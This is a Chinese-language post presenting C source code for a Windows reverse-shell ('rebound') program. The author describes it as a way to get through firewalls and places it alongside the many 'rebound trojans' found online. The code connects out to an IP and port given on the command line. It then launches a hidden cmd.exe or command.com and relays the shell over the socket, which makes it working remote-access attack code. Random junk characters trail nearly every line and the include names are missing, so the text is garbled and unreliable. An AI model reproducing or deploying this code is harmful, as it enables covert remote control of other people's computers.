这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U#
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/* ============================== 5~0;R`D
Rebound port in Windows NT 1]`HX=cl
By wind,2006/7 S,%HW87
===============================*/ VNXVuM )c
#include +,>bpp1
#include '|T=
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#pragma comment(lib,"wsock32.lib") W7"sWaOhW
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void OutputShell(); tn1aH
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SOCKET sClient; 0n=E.qZ9c
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ro@BmRMW
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void main(int argc,char **argv) [_@OCiV5)
{ s&</zU'
WSADATA stWsaData; UkV] F]
int nRet; TKX# /
SOCKADDR_IN stSaiClient,stSaiServer; KW<CU'
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if(argc != 3) ] plC
{ v g]&T
printf("Useage:\n\rRebound DestIP DestPort\n"); ?2;G_P+
return; ?|dz"=y
} Efl+`6`J
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WSAStartup(MAKEWORD(2,2),&stWsaData); Ls{fCi/2F
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d]]qy
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stSaiClient.sin_family = AF_INET; < r~Tj
stSaiClient.sin_port = htons(0); ,}0pK\Y>$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yNL71 >w4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E.9F~&DPJ<
{ -tQ|&fl
printf("Bind Socket Failed!\n"); =F4}
return; lLhCk>a
} xo$ZPnf(zv
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stSaiServer.sin_family = AF_INET; $BY{:#a]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rL=$WxdPU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %}[??R0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =j0V/=
{ -)@.D>HsOt
printf("Connect Error!"); x-<dJ}`
return; 0CROq}
} QVpZA,
OutputShell(); ? &O$ayG77
} Y"@k vd
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void OutputShell() pK4)>q
{ ;Yj}9[p;T
char szBuff[1024]; PewLg<?,G4
SECURITY_ATTRIBUTES stSecurityAttributes; 9O"?T7i"#
OSVERSIONINFO stOsversionInfo; kBzzi^cl
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MD7[}cB
STARTUPINFO stStartupInfo; IQDWH/c
char *szShell; oZ}e
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PROCESS_INFORMATION stProcessInformation; "hfwj`U
unsigned long lBytesRead; { at;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); eZcm3=WV|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _KFKx3<m!
stSecurityAttributes.lpSecurityDescriptor = 0; F,sT[C
stSecurityAttributes.bInheritHandle = TRUE; S;])Nt'X'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); UZ1lI>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '.=Z2O3p
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ur`v*LT}~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _5zR!|\^
stStartupInfo.wShowWindow = SW_HIDE; :.dQY=6I
stStartupInfo.hStdInput = hReadPipe; rnr7t \a~]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M(|gfsD
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GetVersionEx(&stOsversionInfo); d>%_<pw
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switch(stOsversionInfo.dwPlatformId) 8.,PgS
{ R9W(MLe58
case 1: G2A pm`/ y
szShell = "command.com"; >eC^]#c
break; #_E8>;)k
default: C.@zVt
szShell = "cmd.exe"; 0h7\zoZ5
break; alG}Aw#gS
} 4nY2v['m0
rN}^^9
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WV8<gx`Q
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send(sClient,szMsg,77,0); L^=>)\R2$[
while(1) >$?Z&7Lv
{ gs!{'=4wT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v uJ~Lg{
if(lBytesRead) PXkPC%j
{ %:??QD*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j#*K[
send(sClient,szBuff,lBytesRead,0); 3oSQe"
} ?FA:K0H?zl
else X)yTx8v4
{ i->sw#
lBytesRead=recv(sClient,szBuff,1024,0); ,^+3AT
if(lBytesRead<=0) break; E5o0^^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U'\\(m|
} 8^^al!0K~
} mU3UQ
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return; $)'{+1
}